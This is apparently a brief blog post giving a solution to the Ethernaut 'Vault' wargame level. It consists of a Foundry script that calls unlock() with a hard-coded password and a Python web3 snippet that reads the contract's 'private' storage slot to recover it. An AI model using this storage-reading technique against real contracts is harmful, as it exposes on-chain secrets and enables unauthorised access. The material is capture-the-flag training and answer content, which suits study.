The Ethernaut - 8. Vault

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
9/26

Unlock the vault to pass the level!


 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Vault.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract POC is Script {

    Vault public valutInstance = Vault(0xeB0F0F705e4fdDe71552049F701AAD0aAb84E066);

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        valutInstance.unlock(0x412076657279207374726f6e67207365637265742070617373776f7264203a29);
        vm.stopBroadcast();
    }
}
from web3 import Web3, utils
from solc import *


account_address = 'x'
private_key = 'x'
contract_address = '0xeB0F0F705e4fdDe71552049F701AAD0aAb84E066'
w3 = Web3(Web3.HTTPProvider('x'))


storage_position = 1
storage_value = w3.eth.get_storage_at(contract_address, storage_position)
print(storage_value.hex())

0개의 댓글